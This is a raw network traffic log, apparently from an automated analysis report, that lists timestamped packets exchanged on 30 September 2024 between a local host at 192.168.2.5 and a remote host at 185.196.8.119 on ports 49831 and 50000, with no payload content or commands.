Sep 30, 2024 12:20:49.845066071 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845073938 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845082045 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845082998 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845091105 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845118999 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845144033 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845180988 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845192909 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845200062 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845207930 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845215082 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845223904 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845232010 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845235109 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845240116 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845268965 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845309019 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845319033 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845326900 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845335007 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845343113 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845350027 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845371962 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845397949 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845426083 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845436096 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845443964 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845452070 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845459938 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845467091 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845474958 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845477104 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845489025 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845496893 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845514059 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845530987 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845546007 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845550060 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845556974 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845565081 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845571995 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845580101 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845587969 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845593929 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845594883 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845618963 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845649004 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845678091 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845688105 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845695972 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845704079 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845711946 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845720053 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845741034 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845772028 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845782042 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845786095 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845798969 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845808983 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845820904 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845822096 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845834017 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845849037 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845849991 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845860958 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845873117 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845873117 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845885992 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845896959 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845896959 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845907927 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845917940 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845920086 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845930099 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845932961 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845944881 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845956087 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845968962 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.845969915 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.845988035 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846002102 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846014977 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846018076 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846025944 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846035004 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846065044 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846074104 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846086025 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846117973 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846128941 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846138000 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846143007 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846168995 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846178055 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846182108 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846220016 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846239090 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846249104 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846287966 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846296072 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846302986 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846323013 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846333027 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846348047 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846364021 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846370935 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846373081 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846381903 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846399069 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846414089 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846421003 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846446037 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846448898 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846467972 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846473932 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846508026 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846518040 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846539974 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846565962 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846590996 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846612930 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846622944 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846636057 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846656084 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846657991 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846674919 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846709967 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846710920 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846720934 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846755028 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846760035 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846765041 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846771955 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846793890 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846800089 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846805096 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846813917 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846843958 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846852064 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846873045 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846916914 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.846956015 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846971035 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.846978903 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847002983 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847027063 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847028971 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847039938 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847048044 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847074986 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847104073 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847336054 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847346067 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847352982 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847361088 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847368002 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847376108 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847388983 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847395897 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847398043 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847407103 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847414970 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847414970 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847424030 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847430944 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847434044 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847444057 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847446918 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847453117 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847456932 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847462893 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847471952 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847480059 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847487926 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847487926 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847498894 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847503901 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847507954 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847518921 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847527981 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847548962 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847558975 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847560883 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847568035 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847577095 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847585917 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847587109 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847595930 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847605944 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847615004 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847623110 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847623110 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847632885 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847645044 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847654104 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847661972 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847661972 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847673893 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847682953 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847690105 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847691059 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847707987 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847718000 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847718954 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847727060 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847735882 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847742081 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847744942 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847754002 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847763062 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847770929 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847779036 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847786903 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847800970 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847816944 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847821951 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847832918 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847840071 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847847939 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847855091 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847862959 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847868919 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847908020 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.847918987 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847929955 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847939014 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847946882 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847954035 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847961903 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847970009 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.847979069 CEST	49831	50000	192.168.2.5	185.196.8.119
Sep 30, 2024 12:20:49.848076105 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.848084927 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.848093033 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.848618984 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.848660946 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849508047 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849524021 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849531889 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849539995 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849579096 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849587917 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849639893 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849677086 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849750042 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849757910 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849766016 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849797010 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849805117 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849812984 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849874020 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849881887 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849890947 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849898100 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849953890 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.849961996 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850294113 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850302935 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850311041 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850318909 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850327969 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850334883 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850342989 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850373983 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850383997 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850390911 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850399017 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850405931 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850413084 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850428104 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850435972 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850445986 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850506067 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850513935 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850557089 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850569963 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850594044 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850667000 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850676060 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850683928 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850693941 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850708008 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850744963 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850779057 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850826979 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850835085 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850867987 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850876093 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850884914 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850918055 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850986004 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.850994110 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851042986 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851051092 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851067066 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851130009 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851139069 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851181984 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851191044 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851198912 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851216078 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851223946 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851349115 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851357937 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851372957 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851382017 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851397038 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851406097 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851413965 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851422071 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851437092 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851444960 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851453066 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851461887 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851516962 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851526022 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851535082 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851618052 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851627111 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851634026 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851672888 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851681948 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851690054 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851699114 CEST	50000	49831	185.196.8.119	192.168.2.5
Sep 30, 2024 12:20:49.851808071 CEST	50000	49831	185.196.8.119	192.168.2.5
